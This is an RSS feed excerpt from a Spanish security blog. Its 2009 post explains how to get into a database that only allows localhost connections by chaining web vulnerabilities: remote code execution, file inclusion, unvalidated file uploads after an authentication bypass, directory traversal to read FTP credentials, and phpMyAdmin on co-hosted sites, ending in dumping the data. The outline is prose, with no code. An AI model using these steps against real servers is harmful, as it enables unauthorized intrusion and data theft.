			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/atacando-desde-el-corazon/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Acceder a una base de datos, que sólo permite conexiones desde localhost, remotamente</title>
		<link>http://blog.zerial.org/seguridad/acceder-a-una-base-de-datos-que-solo-permite-conexiones-desde-localhost-remotamente/</link>
		<comments>http://blog.zerial.org/seguridad/acceder-a-una-base-de-datos-que-solo-permite-conexiones-desde-localhost-remotamente/#comments</comments>
		<pubDate>Fri, 23 Oct 2009 01:06:02 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[auth bypass]]></category>
		<category><![CDATA[base de datos]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[phpmyadmin]]></category>
		<category><![CDATA[phppgadmin]]></category>
		<category><![CDATA[postgres]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[rci]]></category>
		<category><![CDATA[remote code execution]]></category>
		<category><![CDATA[remote file include]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1047</guid>
		<description><![CDATA[Hace unos días recibí un correo preguntandome cómo acceder -remotamente- a un servidor de base de datos que sólo acepta conexiones desde localhost, sin tener phpMy/PgAdmin ni acceso &#8220;directo&#8221; (ssh) al servidor. Responderé publicamente la pregunta. La respuesta a primera vista sería &#8220;Es imposible, ya que sólo tiene permitido ingresar desde localhost y, generalmente, el puerto [...]]]></description>
			<content:encoded><![CDATA[<p>Hace unos días recibí un correo preguntandome cómo acceder <span lang="en-US">-remotamente- </span>a un servidor de base de datos que sólo acepta conexiones desde localhost, sin tener phpMy/PgAdmin ni acceso &#8220;directo&#8221; (ssh) al servidor. Responderé publicamente la pregunta.</p>
<p><img class="aligncenter size-full wp-image-1051" title="s_key" src="http://blog.zerial.org/wp-content/uploads/2009/10/s_key.jpg" alt="s_key" width="260" height="173" /></p>
<p>La respuesta a primera vista sería &#8220;<em>Es imposible, ya que sólo tiene permitido ingresar desde localhost y, generalmente, el puerto no está a la escucha de <strong>0.0.0.0</strong></em>&#8221; pero si vamos más allá y tenemos un poco de imaginación, podemos llegar a pensar de que si es posible; jugando un poco con los conceptos y aplicando distintas técnicas de penetración y de búsqueda de vulnerabilidades que nos lo permitan.</p>
<p>La idea de ingresar &#8220;<em>remotamente</em>&#8221; queda descartada si pensamos en conectarnos directamente a la base de datos desde un client externo, pero podemos pensarlo cómo el hecho de lograr acceder (remotamente)  de una u otra forma para lograr la conexion con el host. Por ejemplo, subiendo un fichero php que tenga las líneas necesarias para conectarse a la base de datos y hacer lo que necesitemos.</p>
<p>No vamos a usar fuerza bruta ni técnicas de robo de información, simplemente nos aprovecharemos de algunas <a target="_blank" href="http://blog.zerial.org/seguridad/vulnerabilidades-mas-comunes-en-los-sitios-web/">vulnerabilidades comunes</a>.</p>
<p><span id="more-1047"></span></p>
<p>Existen muchas vulnerabilidades que nos van a permitir ejecutar algún tipo de código arbitrario de manera tal de poder conectarnos a la base de datos a nuestra manera. A continuación enumeraré las distintas vulnerabildiades que nos podrían permitir lograr nuestro objetivo.</p>
<ul>
<li><strong>Remote Code Execution (RCE):</strong> Mediante ejecución de código remoto, es posible manejar arbitrariamente una conexión a la base de datos y de esta forma obtener y/o modificar los datos que nos interesan. Esta técnica podría permitir al atacante tener un control total sobre la base de datos del usuario en cuestión. Podemos ejecutar comandos como <em>mysqldump</em> o <em>pg_dump</em> en el caso de mysql o postgres, respectivamente. Tambien podemos ejecutar código php usando el la interfáz de línea de comandos (<em>php-cli</em>), python, perl, etc.</li>
<li><strong>Local|Remote File Include (L|RCI):</strong> Incluyendo ficheros remotos tambien es posible ejecutar código arbitrariamente, tal cómo lo describí en el punto anterior. Podemos escribir un script en php que nos haga un <em>dump</em> de la base de datos y que la deje en un directorio al cual tengamos acceso desde internet para luego poder descarga la información. Tambien se puede usar usando la técnica de inclusión de ficheros locale, siempre y cuando tengamos algún tipo de acceso para lograr subir ese fichero (cómo lo que explicaré en el próximo punto).</li>
<li><strong>File Upload by Authentication Bypass:</strong> Esta vulnerabilidad es muy común (lo digo por experiencia) y corresponde nada más ni nada menos al hecho de ingresar en un sistema de gestión de contenido y/o usuarios, el cual permita subir algún archivo sin validarlo (o validandolo incorrectamente). Por ejemplo, típico sistema de gestión de usuario que nos permite adjuntar un curriculum, imágen o sistema de gestión de contenido que nos permite subir alguna imágen adjunta o archivo relacionado a alguna noticia o contenido. Muchas veces estos ficheros no son validados correctamente, aveces simplemente usan una <del datetime="2009-10-23T00:50:48+00:00">triste</del> validación por javascript o simplemente validan la extensión, sin tomar en cuenta el <em>mime</em>. Entonces es cuando debemos subir algún fichero en php o el lenguaje que sea necesario para ejecutar arbitrariamente el código que necesitemos.</li>
<li><strong>FTP password discovery:</strong> Esto es súper sencillo. Con este punto me refiero al intentar descargar ficheros de configuración (mediante Directori Transversal) y tener acceso a distintos usuarios y claves para probar el acceso ftp y poder subir algún fichero que nos permita lograr nuestro propósito.</li>
<li><strong>PhpMy/PgAdmin:</strong> Simplemente, con este último punto, quiero hacer referencia a buscar instalaciones de phpmyadmin o phppgadmin en otros sitios del servidor. Generalmente, un servidor aloja más de un sitio web y más de alguno es vulnerable (nuestra puerta de entrada).</li>
</ul>
<p>Hay veces que hay que recorrer todo el servidor para encontrar una única puerta de entrada. Como bien dije en el último punto, generalmente los servidores alojan más de un sitio web y nunca falta que uno de ellos sea vulnerable, el que nos permita el ingreso directo o indirecto al servidor y de esta forma ejecutar código arbitrariamente.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Facceder-a-una-base-de-datos-que-solo-permite-conexiones-desde-localhost-remotamente%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/acceder-a-una-base-de-datos-que-solo-permite-conexiones-desde-localhost-remotamente/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/acceder-a-una-base-de-datos-que-solo-permite-conexiones-desde-localhost-remotamente/"  data-text="Acceder a una base de datos, que sólo permite conexiones desde localhost, remotamente" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/acceder-a-una-base-de-datos-que-solo-permite-conexiones-desde-localhost-remotamente/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

